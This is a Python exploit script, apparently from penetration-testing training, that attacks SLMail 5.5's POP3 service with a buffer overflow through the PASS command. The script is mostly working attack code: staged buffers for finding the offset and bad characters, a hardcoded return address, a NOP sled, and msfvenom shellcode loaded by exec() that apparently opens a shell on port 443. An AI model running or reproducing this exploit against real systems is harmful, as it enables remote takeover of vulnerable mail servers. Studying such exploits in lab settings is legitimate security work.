slmail.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" slmail.py

Pwn SLMail with a buffer overflow.

"""

from __future__ import division, print_function, absolute_import

import socket
import struct

# Removed chracters: 
# 0x00 (Null)
# 0x0A (New Line '\n')
# 0x0D (Carriage Return '\r')
good_chars = (
    "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
    "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
    "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
    "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
    "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
    "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
    "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
    "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
    "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
    "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
    "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
    "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
    "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

def pwn(ip, port, payload):
    """ Pwn SLMail 5.5 with a buffer overflow attack

    """
    timeout = 120
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)

    if payload == 'unique':
        print("[*] Payload set as unique string")
        with open('data/unique_2700byte_string.dat') as unique:
            buff = unique.read()
    elif payload == 'test':
        print("[*] Payload set to only overwrite the EIP")
        buff = 'A' * 2606 + 'WXYZ' + 'C' * 890
    elif payload == 'chars':
        print("[*] Payload set to test for bad chars")
        buff = 'A' * 2606 + 'BBBB' + good_chars
    elif payload == 'break':
        print("[*] Payload set to breakpoint on entry to shellcode section")
        buff = '\x41' * 2606 + struct.pack('<L', 0x5f4a358f) + '\xcc' * 8 + 'C' * 350
    else:
        shellcode = get_shellcode(payload)
        print("[*] Payload set to attack")
        buff = '\x41' * 2606 + struct.pack('<L', 0x5f4a358f) + '\x90' * 8 + shellcode

    try:
        print("[*] Sending evil buffer...")
        s.connect((ip, int(port)))
        data = s.recv(1024)
        s.send('USER username' + '\r\n')
        data = s.recv(1024)
        s.send('PASS ' + buff + '\r\n')
        print("[*] Done, if default payload try connecting on port 443")
    except socket.timeout:
        print("[*] ERROR: Socket timeout at {} seconds... aborting".format(timeout))
    except socket.error:
        print("[*] ERROR: Cannot connect to POP3 on IP {}:{}".format(ip, port))

    s.close()

def get_shellcode(location):
    """ Read an msfvenom genterated shellcode file and format it to be sent.

    """
    with open(location) as shellfile:
        for line in shellfile:
            exec(line)

    return buf